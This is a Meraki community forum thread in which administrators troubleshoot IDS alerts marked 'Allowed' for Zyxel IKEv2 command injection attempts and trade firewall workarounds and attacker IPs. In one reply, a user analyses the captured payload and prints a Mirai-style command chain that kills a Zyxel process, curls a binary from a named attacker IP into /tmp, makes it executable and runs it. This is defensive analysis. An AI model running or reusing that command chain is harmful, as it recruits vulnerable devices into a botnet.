Security Center

[JessIT1]

Morning all:  Saw this Source - IP with Action - Allowed on (2) of our firewall's external WAN IP's as the Destination.

Not sure why it was allowed..

I immediately added  95.214.52.173:500 & 95.214.52.173 to our Meraki Content Filtering - URL Filtering Block List and added a Layer 7 Deny rule for 95.214.52.173:500

[RaphaelL]

Hi , 

What are your threat protection settings ? : 

[JessIT1]

All of my MX Firewalls have this setting.

[JessIT1]

I believe these are the highest/most robust settings..

[RaphaelL]

 They are. Either the CVE score of vuln is so low that It doesn't get blocked by the IPS or there is a bug. I would suggest you to contact the Support.

[JessIT1]

Ok. Yes I did open a case this morning about it. thanks for your input

[JessIT1]

Still waiting to hear back from Meraki Support on this. Virus Total has 10 hits on the IP, so now sure how Action was allowed via IDS. Since attempts were at our MX firewall external WAN IP's not sure what damage could be done..

please advise. thanks

[acaudill]

Have you heard back yet? I had the same alerts this morning and am also waiting to hear back from Meraki Support. 

Thanks.

[JessIT1]

Ok, so the exact same IP address and Zyxel under details? No haven’t heard back yet.

[acaudill]

Yep the exact same IP and details.

[JessIT1]

From Meraki Support:

Thank you for contacting Cisco Meraki Technical Support! We understand that you are having issues with the source IP 95.214.52.173. However, would you be able to tell us when you saw this IP on your Firewall's external WAN IP's. In addition, by you adding it to your URL block list the firewall will block the traffic coming from outside to your MX. Therefore, if a device with that IP address is trying to access your MX it will be blocked. Now if there is a device in your network that is trying to access that IP they will be able to since, the MX blocks traffic coming in not going out.

[JessIT1]

So I sent support the times the IP was allowed, their response doesn't really address why it was allowed since it's a pretty high threat on Virus Total. I even added under Content Categories to Block; Regional Restricted Sites for all the ones available, Great Britain, Italy, Germany, Poland (IP 95.214.52.173 looked to come from Poland)

[JessIT1]

Thank you for contacting Cisco Meraki Technical Support.  We understand that you are obtaining traffic from that source IP and you would like this IP blocked from accessing your MX. In order to do this you will have to go to Security & SD-WAN and go to Security Center. Here you will be able to go to MX Events, and then here in this page you will be able to see the IDS alert that you received. If you were to click where it says "Zyxel unauthenticated IKEv2 overflow attempt", here you will be able to disable whitelist. After doing this you will no longer see this allowed. If you're still experiencing issues feel free to reach back to us.

My response:The whitelist on this Zyxel event is already set to Off, so of course I would not want to set to On to whitelist (allow). The issue is Meraki IDS allowed in the first place instead of blocking.

[ABR1988]

Hi,

We had the exact same alerts at the exact same time from the exact same IP Address. We've logged a ticket with Meraki but haven't had anything helpful back yet.

We dont have Zyxel devices but with the port being 500 (Ike) and it hitting a meraki mx public ip address on a meraki device that has the client vpn functionality enabled, we're definintely worried that the action says it was allowed. We've turned off the client vpn until we get an acceptable answer from Meraki. We also had IDS set to prevention and the mode as security before the alert happened.

Similar, we want to know why it was allowed. We've blocked it at layer 7 now but we need to know if the action was actually allowed as then we've been compromised which means that they may already have persistence in our network

Its suspicous that 3 users all with meraki devices have seen these exact alerts though. I'm going to update our ticket with this information to hopefully get someone on the case to connect the dots.

Thanks

[TechNick92]

Hi, we saw the same events on some appliances - not all we manage. Also created a layer 7 rule to block the ip.

We also have the same thoughts about this topic - why was the traffic allowed? Is there any kind of compromise?  And so on ...

Kind regards

[JessIT1]

As far as gaining access via our external public IP's, with a strong password and 2FA on our Meraki MX's don't see how they could have authenticated successfully. Also I checked logs for any rogue VPN connections from the IP in question at the time of the alert, not finding anything..

[ABR1988]

Do you have the client vpn enabled by any chance? I checked our VPN connections and radius server too and didn't see anything either but I'm unsure if that would show anything anyway if its an unauthenticated attack?

[JessIT1]

Yes we do have VPN enabled on 2 of 4 of our MX's. I have disabled for now as well, good idea on that.

[JessIT1]

Anyone else got any feedback from Meraki support, having VPN disabled is not ideal of course, remote users are barking.

[acaudill]

Nothing constructive from Meraki yet, but I did get some new alerts that were also allowed. The destination on these is also my firewall's external WAN IP. Not sure if this is related, but it seems pretty coincidental if not. Has anyone else seen these new alerts?

[JessIT1]

I've seen those before, but so far they have always shown blocked not allowed. Support definitely needs to escalate this issue as it's starting to affect more and more customers. Are they false positives or actual allowed attacks..

[GoMariners]

I haven't seen those specific alerts, but we are seeing other new ids alerts that started a couple of days ago. Our source and destination were all internal (esxi server to specific vm mostly). I called Meraki support and was told that snort updated and is now tagging incoming and outgoing traffic, rather than just incoming traffic. They said that they have received other calls about similar alerts and that after confirming that the traffic is legitimate, I can whitelist the alerts.

I'm not sure how accurate that is but we for sure are seeing new alerts for internal traffic.

[JessIT1]

Ok, but support still needs to give an explanation of alerts like these, did an unauthenticated user get access to our external WAN IP's. I have my VPN disabled for now as a precaution but remote users are barking about when I can re-enable.

[JessIT1]

I'm seeing alerts like this from an internal Windows 10 PC, no clue what Destination 255.255.255.255:5093 means..logs it ever hour

[cmr]

@JessIT1 255.255.255.255 is the broadcast address.  The source device is trying to find something in its subnet to respond.

Port 5093 is commonly used by RMS Sential License Manager, do you run that on your network, or does the machine sending the broadcast have a Sentinel client on it?

[JessIT1]

I'm throwing everything at the wall, added this layer 7 rule, IP source in my issue showed from Poland, but I added some other countries too..random I know but I figured why not.

[Vbrites]

My company has one Meraki MX and we are facing the same issue.
We have notice that event alerts in security center as well! And the notification is exactly the same! The same remote IP, similar hour and the same attack. Our meraki IDS also allowed the traffic.

However I have not oppened a ticket yet. I'll do this now.

As counter actions I have applied layer 7 rules blocking this remote IP, Region, created a layer3 rule to isolate the VPN subnet in order to log if any traffic will occour (while keeping the VPN client active), and I also added a layer 3 rule denying this remote IP in my ISP router (because meraki is not acctually facing the internet, it is NATed with port redirection.

If you guys have any ideas on that topic, I'll be glad to hear.

I'm keeping the VPN active in order to log in my syslog server any comunication that my occour. Until this moment, I checked every network, event logs and radius server logs and found no suspicious connection. I hope this is a false positive... Cant understand why IDS would allow an attack like this.

[JessIT1]

How did you create a layer3 rule to isolate the VPN subnet? Thanks 

[Vbrites]

I just added a rule to guarantee that no device connected to the VPN Client could comunicate with any other device, this include the internet itself:

The Idea is:

Deny - Any Protocol - From {VPN subnet} - At any src port - To any  Destination - At any dst port - syslog checked.

[JessIT1]

So even though you left the VPN enabled, adding that layer3 rule to deny any internet traffic on your VPN subnet, won’t users that connect to VPN not be able to get to the Internet then?

[Vbrites]

After set the layer3 rule I tested and noticed that the VPN user is still able to access the internet (what makes no sense to me) but the intervlan comunication was blocked. So what I saw is that the layer3 wont prevent the VPN user to access the internet, but it will prevent them to access your other subnets... So if you have servers and computers in other Vlan, the VPN user wont be able to access them.

I could not understand why internet acess was still happening even after adding the layer3 rule.

[JessIT1]

Ok, thanks for confirming that. One thing I did find out after adding the layer3 rule is that when I connect to our VPN over my phone to access my security cameras that was blocked until I removed the rule. Which does go along with what you were talking about as the cameras are on a separate internal subnet. So at least if a bad actor did connect to our VPN, they wouldn’t be able to attempt to access any of our internal computers or servers, which is a good thing. Thanks

[JessIT1]

So I just tested connecting to VPN, as soon as I connected my internet went to blocked and I could not Remote Desktop into my work computer, so back to square one, I will need to remove that layer3 deny for the VPN subnet if I want to leave VPN enabled.

[Vbrites]

I think this print will be more usefull:

[JessIT1]

From support:  We understand that you are expecting issues with 95.214.52.173 on port 500. However, there has been a recent update on the IDS/IPS ruleset and an improvement in terms of coverage and detection efficacy is expected. As result, certain traffic that before would not trigger an alert may now result in one.

that’s all fine and good but still doesn’t explain how an unauthenticated attempt from a foreign IP was allowed..

[ABR1988]

Ive had an almost identical response. Multiple users getting the same alert from the same ip at the same time is surely a cause for concern. I understand they've updated their snort ruleset so theres alot of noise but its a very specfic alert in my eyes. We have no links with the ip address so there shouldn't be any attempts on port 500 from them, especially allowed ones. I'm going to ask them to esculate it and see what comes of it

[ABR1988]

Hi All,

I've got a more thorough response from Meraki 

"Whatever was trying to connect to you over IKEv2 eventually stopped sending data. When this happens while the MX is detecting the event, it will flag it as malicious but will also flag it as "allowed" because nothing is generating data through that flow it inspected anymore. This can be disregarded as you aren't peering with a remote location that has that IP, so no tunnel would form, and client VPN doesn't use IKEv2 for VPN on top of you having it disabled."

It looks like the Meraki VPN uses L2TP while this attack was targetting IKEv2 which uses port 500 which L2TP doesn't use. That on top of the explanation around the allowed behaviour is comforting.

[Vbrites]

This may not be true, because documentation makes clear that is necessary that port 500 is opened.

https://documentation.meraki.com/MX/Client_VPN/Guided_Client_VPN_Troubleshooting#Resolving_NetBIOS_n...

[Vbrites]

After confirmation, this seems right... Client vpn uses 500 port but no IKEv2. Someone correct me if I'm wrong. 

[ABR1988]

Apologies, my poor research. It does use port 500 but not IKEv2.

However if you use the site to site vpn for sd wan connectivity it uses IKEv2 . Other site to site vpn to non meraki vpn peers can also use IKEv2. 

Hopefully meraki support give you the reassuring answer about the IDS allow action not being as it seems. I've asked for a bit more information about it too

[Vbrites]

I've got a support answer, but they did not give and explanation about the IDS allowing this attack:

"

Hi Victor,

Sorry to hear that you have been going through this. If you haven't already, please take the steps below for safety measures:

1. Create Layer 3 Firewall Deny rule on outbound list to 95.214.52.173 to ensure nothing from your LAN replies to that IP.
2. Create Layer 7 Firewall Deny rule to Deny all traffic to/from Poland as this IP comes from Poland.
3. Reboot your MX appliance immediately to kill all existing TCP flows if they are alive.

I hope this helps.

Thanks,
Peter
Meraki Support"

Ill answer asking so informations about the allow action that the IDS took. 

[JessIT1]

At this point I am just leaving VPN enabled, I tried layer3 outbound rule to deny any traffic within the VPN subnet as a precaution, but it's then pointless to enable VPN again since user can't access internet, shared drives, etc.

[JessIT1]

Latest from support on my case

Thank you for contacting Cisco Meraki Technical Support.

We understand that you are having concerns over your MX being compromised, but after looking over some backend logs you should not worry about your MX being compromised. We could see that the alert was identified as malicious traffic, but it was dropped afterwards because it was no longer present. This caused dashboard to show the event as allowed. However, you should not have any issues with a breach on your Client VPN. If you're still experiencing issues feel free to reach back to us.

[Mustafa_Taqi]

This is the Scenario that you are most likely experiencing. 

• Meraki MX appliance received packets from the source IP address 95.214.52.173.
• The packets were copied to the IDS process for further analysis.
• The IDS flagged the flow as potentially harmful, as it matches the pattern of a known attack vector.
• Before the IDS could take preemptive action to drop the flow, the Meraki MX's inbound firewall rules had already dropped it. In your case, if it was enabled, Client VPN could've been the process that dropped the flow as the destination port is port 500
• As a result of the firewall's prompt action, the IDS process could not apply its own measures, which is why the Meraki Dashboard indicated the action as "Allowed."
• It is important to note that despite this indication, the flow was effectively blocked by the MX.

Key Takeaways:

• The swift response by the firewall prevented any action from being required on the part of the IDS.
• An "Allowed" status on the Meraki Dashboard could sometimes mean that the threat was blocked by other security layers, not that the traffic was permitted through the network.

[JessIT1]

Ok, thank you for the detailed response on this issue.

[Vbrites]

Thank you, Mustafa! Now, this is much clearer.

I have a suggestion: It would be incredibly useful if Meraki could implement an update to the dashboard that allows it to specify which component effectively handled a threat and report it, instead of simply marking it as "allowed." This enhancement would help avoid confusion and provide more detailed insights into the security measures in place.

[JessIT1]

I agree. I was the one that started this case last Tuesday and have been engaged with the community here and Meraki support ever since trying to determine what if anything malicious was allowed to access our MX public WAN's. Jess

[Mustafa_Taqi]

I highly encourage you to use the "Give Your Feedback" feature on your Meraki dashboard to share your suggestion. User feedback is greatly valued and often carries more weight than that from the Support team.

Give your feedback (previously Make a Wish) - Cisco Meraki Documentation

[Matt11]

Thanks for this info @Mustafa_Taqi  This was happening to us as well. FWIW Mustafa has helped provide support over the phone in the past for an outage/issue and is incredibly knowledgeable. 

[Ramkumar1]

@Mustafa_Taqi I would like to bring a couple of points before accepting the scenario you explained above.

• How come an inbound firewall rule will block the traffic if this traffic overrides through the ClientVPN? If the client VPN drops a VPN packet, no user can connect to the VPN.
• Additionally, I believe if this packet is indeed malicious, it should be blocked at the IPS level, not at another layer.

[Mustafa_Taqi]

The Client VPN Process will drop the flow if the packets are not Legitimate IKE packets or if IKE Authentication fails. 

With respect to your second point, the behavior is constrained by the Architecture.  

[Ramkumar1]

@Mustafa_TaqiIf the client VPN process drops the flow, I would expect to see logs in the Event Logs. I don't believe it's dropped at the client VPN's end.

"The behavior is constrained by the Architecture" What do you mean by this? It's unclear now, where it's actually dropped. 

[JessIT1]

Happened again, these IP's were allowed on (2) of my MX's external WAN IP's - 98.194.65.91:500; 98.195.67.12:500; 98.194.65.92:500

Zyxel unauthenticated IKEv2 command injection attempt

Zyxel unauthenticated IKEv2 overflow attempt

[acaudill]

Yep I got them again also. Meraki Support has been useless.

 

[Vbrites]

Yeah, I got the same events... 

We can't just live  our lives with this doubts... It's hard to see this events appearing with "allow" tags and don't feel worried. 

[JessIT1]

I have added to my original Meraki case about this issue 2 weeks ago with this new info, have not heard back yet..

From Snort site about this allowed action we are seeing.

Link to CVE listed on Zyxel site - https://www.cve.org/CVERecord?id=CVE-2023-28771

Makes no sense, is a public Zyxel firewall trying to access our Meraki MX's public WAN's..?

[ABR1988]

I think Meraki explained to me before that the SNORT ids rules inspect the packet to see how it is structured and compares it against known vulnerabilties. So you can often get misleading alerts or false positives (e.g. an alert saying that theirs an apple ios vulnerabilty detected when it isn't an apple device)

[acaudill]

Reply I just got from Meraki.

"Greetings, IDS allowing known malicious signatures usually happens when the MX sees a single packet that matches the signature, but the flow terminates because the remote party reset the connection, so the MX can’t take action to “block” the flow. The security center still logs the event as "allowed" but no real malicious traffic was allowed for the flow since it was terminated. Please let me know if you have any questions."

[JessIT1]

Ok, if this is indeed the case, Meraki needs to put a headline alert on every client's dashboard overview page or send out a mass email or something. I do find it curious that some random person coming from an IP in Poland the first round and now in Texas the second round is hitting numerous customers with at the exact same time with the exact same Zyxel unauthenticated IKEv2 command injection attempt  &  Zyxel unauthenticated IKEv2 overflow attempt alert. (I'm sure a lot more that just don't get on this community and report).

[cmr]

If that were the case then surely the status could be expired, ceased or something else, anything else, other than allowed, which is the worst possible result to give!

[ABR1988]

That would be helpful, otherwise everytime we see an allowed action, a support ticket will need to be raised for them to confirm it hasn't actually been allowed

[JessIT1]

Same alerts in the early morning today, with same IP as yesterday.

98.194.65.91:500 allowed on one of my MX (2) public IP’s

yesterday I added denied this IP in these locations on MX

Content filtering- block URL

Layer 3 outbound rule deny

Layer 7 deny remote IP range & port 

[ABR1988]

They've appeared again for us too. No response on the meraki ticket in nearly 24 hours either.

[JessIT1]

ok, crud. Ya in a real bind now if even after deny rules are added to firewall that the action still comes up allowed...

[JimLay]

I'm seeing same issue with same IP and also IP  98.195.67.12, both allowed.  with settings in threat mgmt set to prevention.

[JessIT1]

Ok, the list of customers experiencing this keeps getting longer since I opened this issue over 2 weeks ago, Meraki support keeps giving this answer or something similar, doesn't give me confidence yet that an external IP is gaining access via external WAN IP's.

IDS allowing known malicious signatures usually happens when the MX sees a single packet that matches the signature, but the flow terminates because the remote party reset the connection, so the MX can’t take action to “block” the flow. The security center still logs the event as "allowed" but no real malicious traffic was allowed for the flow since it was terminated.

[JessIT1]

Latest Meraki support reply:

Thank you for contacting Cisco Meraki Technical Support!

This situation happens sometimes on older models like the MX64/65/84/100 which run threat detection out-of-band. Traffic is duplicated over to the threat detection engine, which then examines the traffic and makes a decision to allow/block it. This situation emerges when the traffic flow ends before we make the decision to block - for example, if it's only a packet or two long. We're still making the decision to block, but since the flow is gone by that time, it gets logged as allowed since nothing was actually blocked.

This behavior is outlined in our documentation: "Intrusion prevention on the MX used to block triggering malicious packets is designed to be best effort. Subsequent packets within the same malicious flow will be blocked.

Below I have provided a document that goes over this in more detail: 
https://documentation.meraki.com/MX/Content_Filtering_and_Threat_Protection/Threat_Protection#Intrus...

My response:  I think the only thing that is concerning is when do I need to be actually aware a successful breach has happened if allowed doesn’t really mean allowed, when should I note it as a false positive vs an actual breach that someone has made it inside our network to potentially set off a ransomware attack?

[JessIT1]

More allowed similar IP’s with Zyxel, I keep denying in 3 locations on firewall and they keep getting allowed, am I compromised am I not? Meraki support won’t give a confident yes or no. Support is becoming unreliable as of late, creating a dark cloud over my head for over 3 weeks now, argh!

[Vbrites]

JessIT1, do you have an ISP router or another router/firewall before your meraki? 

If yes, I think the best way to dealing with this is to configure this router to only allow incoming conections to this redirected port if coming from your collaborators public IP. I solved this issue doing this. However, if your collaborators don't have a public IP, this means that you will need them to daily keep you updated about their current IP to include it in the ISP router allow list.

This is the topology that I mean:

{INTERNET} -> [ISP ROUTER]* -> [MERAKI CLIENT VPN]

[ISP ROUTER]* : Only allow collaborators public IPs and then Redirect 500 and 4500 ports to Meraki.

But make sure that the ISP Router doesnt have any service itself facing the internet. Its important that this ISP router doesn't represent a vulnerability with services from itself facing the internet.

If someone disagree, please complement this discussion.

[JessIT1]

Yes we do have ISP router before Meraki MX84

Referring to this:  If yes, I think the best way to dealing with this is to configure this router to only allow incoming connections to this redirected port if coming from your collaborators public IP. 

[ISP ROUTER]* : Only allow collaborators public IPs and then Redirect 500 and 4500 ports to Meraki.

So from this ISP router I need to set a rule to only allow incoming connections to port 500 & 4500 to redirect to our Meraki's (2) external WAN IP's?  thanks

[Vbrites]

Yeah, actually if you have an ISP router already setup I think you already have the port redirection configured, right? Otherwise your Client VPN would  not work... In this case you only need to change this ISP router firewall rule to allow only incoming traffic from your collaborators Public Ips... For exemple:

(ISP Router - Firewall rules)

Protocol: UDP
Sorce: {collaborator public IP}
Sorce Port: Any
Dest: Any
Dest Port: 500
Action: Allow

Protocol: UDP
Sorce: {collaborator public IP}
Sorce Port: Any
Dest: Any
Dest Port: 4500
Action: Allow

Sorce: Any
Sorce Port: Any
Dest: Any
Dest Port: 500
Action: Deny

Sorce: Any
Sorce Port: Any
Dest: Any
Dest Port: 4500
Action: Deny

[JessIT1]

Hi, got another allowed action in security center, false positive, actual threat, why wasn't it blocked..?

Source:
172-234-96-249.ip.linodeusercontent.com
172.234.96.249:39664

Destination:
internal server

Allowed SSH_EVENT_SECURECRT

https://snort.org/rule_docs/128-3

[dlevasseur]

I had the same threat actor hit my VPN this morning.  Same linode IP, same event "Allowed".

[JessIT1]

Ok, which Source / Destination / Details are you referring to? The ones I've seen have various IP addresses as the Source and Zyxel IKEv2 command injection or overflow attempt.  thanks

[dlevasseur]

Specifically the comment I replied to:

---

@JessIT1 wrote:

Source:
172-234-96-249.ip.linodeusercontent.com
172.234.96.249:39664

Destination:
internal server

Allowed SSH_EVENT_SECURECRT

https://snort.org/rule_docs/128-3

---

[ABR1988]

Hi,

It's been happening almost daily for us since this was first posted. I've got into the habit of checking the alerts each morning and adding any new ips to the firewall rules block as well as layer 7 blocks and reporting the ip to the isp

Unfortuntely Meraki don't have plans to fix the annoying "allowed" action when its not truly allowed.

Its frustating that it keeps happening from the same ip range too

Thanks

Thanks

[JessIT1]

Yep, same here, see my growing list. Sometimes it goes a few days with nothing and then bam my (2) external WAN's get the allowed action. Meraki has to know that even though they claim the connections are not actually penetrating customers networks that continued false positives create doubt of what is actually being blocked and allowed. I could realistically take the jump to even though it shows blocked, maybe it was actually allowed..

[Shubh3738]

Is it inbound or outbound rule you placed?

[Vbrites]

Guys, I apologize for being insistent. I'm not sure how practical this is for you, but one solution is to configure the firewall rules of the ISP Router to only accept incoming traffic from authorized public IPs (public IPs of your users). The problem is that few people have an exclusive public IP, so if the IP is dynamic, the user may have their IP changed weekly or monthly and not be able to access the VPN. But in light of this, it's enough for the user to always have the practice of, if they have problems, contacting you and informing their new public IP so that you can update it in the ISP router's firewall rules.

The idea here is not to take away Meraki's responsibility to fix this bug, but rather to prevent their system from failing at some point, especially since this wave attack against Meraki routers is happening. Soon these criminals will try measures that might work.

On Windows, just execute this command in the terminal to find out the Public IP and store the data in a CSV spreadsheet:

Invoke-RestMethod -Uri https://ipecho.net/plain | ForEach-Object {
$output = "{0:dd/MM/yyyy, HH:mm:ss}, {1}" -f (Get-Date), $_
$output | Out-File -Append -FilePath "your\preferred\folder\IP_History.csv" -Encoding UTF8
}

By creating a script and setting up an automatic task in Windows, we can configure it so that every time the user turns on the machine, the public IP is stored in this CSV file. This way, it's possible to see if the ISP uses a specific and repetitive amount of public IPs for each user, allowing to reduce the number of times the firewall rules of the ISP router are changed.

You could even share a folder on Google Drive with each user and have this CSV file stored there, in sync with them so that every time the automatic task runs the script, the CSV file will be changed and synchronized in the cloud, allowing easy access for you.

Hope this helps.

[JessIT1]

Some recent responses from Meraki Support

To break it down even more, there are two possible outcomes when an allow is logged: 1. The malicious traffic never made it into the network due to it being blocked by another process. 2. A single packet or two of the malicious flow was allowed but the flow was dead by the time Threat Protection made a determination. The current allowed threats I see in the network fall into the first category. To be specific, it was the inbound firewall rule that terminated this flow immediately with IDS/IPS following up after the fact with the malicious detection. This can be determined by looking at the firewall page and seeing that there are no port forwards configured for port 500 to allow the remote IPs. Thus, the deny any any rule of the inbound firewall would have blocked this traffic. In the second scenario, let's pretend there is a port forward allowing that remote IP. In this case, a packet or two may make it past before IDS/IPS makes a determination but once it does, it will block the rest of the flow. However, when logged as allowed, a packet or two of the malicious flow was allowed to flow into the network to the end destination however, this was all that was passed through as the flow itself was dead after this. No new packets after the malicious packet was received. In short for scenario 2, the MX will still block the malicious attack. Initial packets may go through, but the engine will block the flow.

We've acknowledged your concerns about potential compromises with your MX, and upon reviewing the backend logs, there's no need for alarm. The alert was indeed flagged as malicious traffic, but it was promptly blocked and is no longer present. This may have caused the dashboard to display the event as allowed. However, you can rest assured that there shouldn't be any issues with a breach on your MX.

My response:

Ok, I get what you are saying, but this way of discerning what is an actual threat and what is a false positive is different that it used to be, would you agree? When anyone reviewing their security center sees an action of Allowed from a rogue, potentially malicious IP or URL going to one of their endpoints or server our first reaction is not, well even though it's marked allowed I'm going to assume nothing malicious was allowed get through..there really needs to be an explanation put out on the dashboard for everyone to see.

[Ramkumar1]

Hello Everyone,

I encountered a similar issue in our infrastructure and opened a support case. What I understand from support is the events were not blocked by the IPS. Instead, the firewall dropped those packets because there was no established connection to the firewall on port 500. Additionally, the stateful firewall behavior resulted in the packet being dropped due to the lack of memory of the previous connection.

[despmx]

This is what I found on a packet inspection for this alert. I've been struggling with the same issue trying to block the source and I'm very worried now, since the packet contains what it looks like a command trying to exploit the vulnerablity.

[Vbrites]

I conducted a small investigation and, using the Windows sandbox to ensure isolation between the IP with malicious code and my machine, I executed the command found in the package inspection, but redirected the output of Curl (which downloads the remote script) to a txt file on the desktop of that sandbox.

I found that the malicious IP is attempting to execute this sequence of commands:

1. kill -9 $(ps -ef | grep tr069ta | grep -v grep | awk {'print $2'})
2. rm -rf /tmp/msc
3. curl http*://162.248.224.101/m -o /tmp/msc
4. chmod 777 /tmp/msc
5. /tmp/msc latest
6. rm -rf /tmp/msc

Here is an explanation to those commands:

1. kill -9 $(ps -ef | grep tr069ta | grep -v grep | awk {'print $2'}): This command attempts to terminate any process containing "tr069ta" in its name. The kill -9 command is aggressive and forcibly terminates the process. This may be an attempt to halt some running process on the system.

2. rm -rf /tmp/msc: This command attempts to recursively remove the "/tmp/msc" directory. By deleting this directory, any existing content within it is eliminated. This preemptive action could indeed be to ensure a clean slate before the download operation, avoiding potential conflicts or interference with any existing files or directories of the same name.

3. curl http*://162.248.224.101/m  -o /tmp/msc: This command uses curl to download a file from the specified URL and save it to "/tmp/msc". The downloaded file likely contains more malicious instructions.

4. chmod 777 /tmp/msc: This command sets read, write, and execute permissions for the "/tmp/msc" file. This ensures that the file is executable.

5. /tmp/msc latest: This command executes the downloaded file "/tmp/msc" with the argument "latest". What exactly this command does depends on the content of the downloaded script.

6. rm -rf /tmp/msc: Finally, this command attempts to remove the "/tmp/msc" file after its execution. Once again, this may be an attempt to clean up traces after the script execution.

I hope meraki support may give us a position about this malicious attempts that are happening... The IPS is still marking the action as allowed.

Again I would like to reiterate my suggestion:

I'm not sure how practical this is for you, but one solution is to configure the firewall rules of the ISP Router to only accept incoming traffic from authorized public IPs (public IPs of your users). The problem is that few people have an exclusive public IP, so if the IP is dynamic, the user may have their IP changed weekly or monthly and not be able to access the VPN. But in light of this, it's enough for the user to always have the practice of, if they have problems, contacting you and informing their new public IP so that you can update it in the ISP router's firewall rules.

The idea here is not to take away Meraki's responsibility to fix this bug, but rather to prevent their system from failing at some point, especially since this wave attack against Meraki routers is happening. Soon these criminals will try measures that might work.

On Windows, just execute this command in the terminal to find out the Public IP and store the data in a CSV spreadsheet:

Invoke-RestMethod -Uri https://ipecho.net/plain  | ForEach-Object {
$output = "{0:dd/MM/yyyy, HH:mm:ss}, {1}" -f (Get-Date), $_
$output | Out-File -Append -FilePath "your\preferred\folder\IP_History.csv" -Encoding UTF8
}

By creating a script and setting up an automatic task in Windows, we can configure it so that every time the user turns on the machine, the public IP is stored in this CSV file. This way, it's possible to see if the ISP uses a specific and repetitive amount of public IPs for each user, allowing to reduce the number of times the firewall rules of the ISP router are changed.

You could even share a folder on Google Drive with each user and have this CSV file stored there, in sync with them so that every time the automatic task runs the script, the CSV file will be changed and synchronized in the cloud, allowing easy access for you.

Hope this helps.

[ABR1988]

Thanks for this investigation. Its more than I've gotten from Meraki since this all started happening.

Although the attempt might not be succeeding (hopefully), my original and continued issue of this affecting multiple meraki customers from the same public ips at the same time is worrying

[JessIT1]

I guess at this point, does adding layer 7 and layer 3 outbound deny rules for this IP 98.27.28.56 and others do anything, I would sure hope so. Or does the Meraki IDS action of allowed supersede my deny rules? I’m still shocked that months since I started this thread Meraki support still hasn’t addressed this security issue.

[ABR1988]

I'd block 162.248.224.101. It seems to be what the attempt is trying to reach out to in order to download a malicous payload of some kind

[JessIT1]

Yes doing that now, thanks 

[ABR1988]

I just found this off the back of Vbrites sandbox investigation.

https://blogs.cisco.com/security/cisco-live-melbourne-soc-report

The section titled "Mirai Botnet Attempts" is the interesting part.

It details what vbrites has seen, almost line for line.

It says that the process "tr069ta” is a daemon needed by Zyxel devices to run properly and these command injection attempts are commonly used to create "Mirai-like" Botnet nodes from Zyxel devices so i'm assuming that Meraki devices won't be affected (don't take my word for it)

[Vbrites]

That's great you found that information! It's really nice to see that the things that seemed to me there make sense. I believe that indeed Meraki should not be vulnerable to these attempts of malicious code injection, especially considering that this type of attack is associated with the IKEv2 protocol, which Meraki's Client VPN does not use. This aligns with the explanation that Meraki provided previously. Meraki uses L2TP/IPsec instead of IKEv2.

However, I still insist that the best option, to protect ourselves from this risk, is to restrict VPN access based on a whitelist of IPs from authorized clients to use the service. That way, any malicious attempts coming from around the world will not succeed because the IP is not on the whitelist. But this whitelist needs to be on a firewall before Meraki, like on the ISP router's firewall.

[JessIT1]

Got allowed actions on my (2) WAN's over past 2 days - 98.27.28.56:500 - same Server-WebApp 

Zyxel unauthenticated IKEv2 command injection attempt

Zyxel unauthenticated IKEv2 overflow attempt

Since numerous customers are getting exact same hits, is there nothing Meraki backend can do to once and for all block these attempts?

[MerUser874]

We've been experiencing the same thing. I opened a ticket with Support and this was their initial response.

"The traffic in question is targeting the MX public IP and a non used port. This traffic is indeed didn't advance. 
Since there is no advancement, to a two way traffic the internal blocker doesn't detect anything to block so the default value for the traffic will be marked as "allowed". 

"Allow" statement doesn't mean the traffic was allowed in. It is just the default value when no two-way bad traffic flow was detected. 

I added a Layer 7 Deny rule for the IP that was hitting us and a day or two later, we saw the same Allow status from the same IP. I questioned support about this and below is their response to that.

"There is no NAT/Port forwarding Rule that will allow any income traffic to pass over to he LAN side. 
The traffic in questions is hitting the MX WAN side and never advanced either by a reply from the MX or by passing it over to any LAN client. 
Default value for such criteria is "Allowed". 

When adding a Layer 7 rule, it will not affect the behavior of the IDS/IPS since it is on a different category of blocking.
Filter event logs using "layer 7 firewall rules". It shows  no traffic detected for that newly added L7 rule to block. 
Which means no advancement to any LAN host. "

[JessIT1]

Latest hit that was allowed on one of our external WAN IP's.

Snort shows this - 

Missing documentation for 3-46125

There is currently no documentation for a rule with the id 3-46125

[Jamest201]

Hi all, we have just started to receive similar IDS alerts from a couple of different IP's one being Lithuanian with a bad rep 141.98.11.79. The alerts state these attempts were blocked but we are still concerned that we are being targeted, are there any further details or recommendations on how we can further protect ourselves?

[JessIT1]

Latest IP addresses that show destination to our public WAN IP's as action of Allowed for Zyxel IKEv2 overflow attempt and command injection attempt..I know in the past Meraki support has stated these attempts aren't actually being allowed to pass onto our LAN, but still concerning. I've added blocks on layer 7 and outbound layer 3

[DobboJ99]

Hi All,

Like James we noticed the IPs are from Lithuania this time, again like Jess they are showing as allowed still. 

We have reported where possible to the ISPs for each IP (including the previous ones from Poland) we find etc but not received a response on a single report. Whether they were actioned/checked or not, no one knows. 

These alerts seem to be a near daily occurrence recently. 

[Jamest201]

Thanks for the responses, interesting that your alerts are still showing as 'allowed' and ours are blocked, we have temporarily shut off our client vpn whilst we investigate this so it has sparked quite the investigation for us. Are you on latest firmware 18.211.2 and running in prevention mode and security ruleset? Jess 3 of those IP's you listed are the same for us too so a little reassuring that we are not being specifically targeted.

[JessIT1]

We run all 4 of our MX's in prevention mode and security ruleset as well. 3 of our 4 MX's are running MX 18.107.10, the 4th one is running 18.211.2 as it is a newer MX. I have ordered MX replacements for our MX84, MX64, MX64W due to them not being able to update to firmware 18.200 and above.

[DobboJ99]

2 New IPs from the last day in case you want to block.

149.50.116.115
185.224.128.74

One from Poland and the other from the Netherlands.

[nishmeNtic]

Lets keep a active list -  Here's mine in the last 2 weeks.

98.197.21.76/32,
98.197.26.56/32,
141.98.11.79/32,
149.50.116.115/32,
185.224.128.74/32

[JessIT1]

This matches my list. Since these IP's are affecting numerous customers, is there not a way Meraki can add these IP's to their own block list, since the bad actors seem to be targeting Meraki MX devices..?

[Merakeee]

Do we know for sure they are targeting MX devices? Is this not just a case of sending signals out to see who responds in favour of the exploit? My understanding is the packet is exclusively looking at exploiting unpatched Zyxel Routers? The packets we intercepted were looking for the /mips folder that mirrored the Zyxel exploit. 

[nishmeNtic]

Here's my response from support today - haven't seen these since the beginning of this thread.  Started seeing them lately from 6/30/24 - current, sent to our SIEM.

Response -

I investigated this further and have provided an explanation below of the behavior you are seeing. 

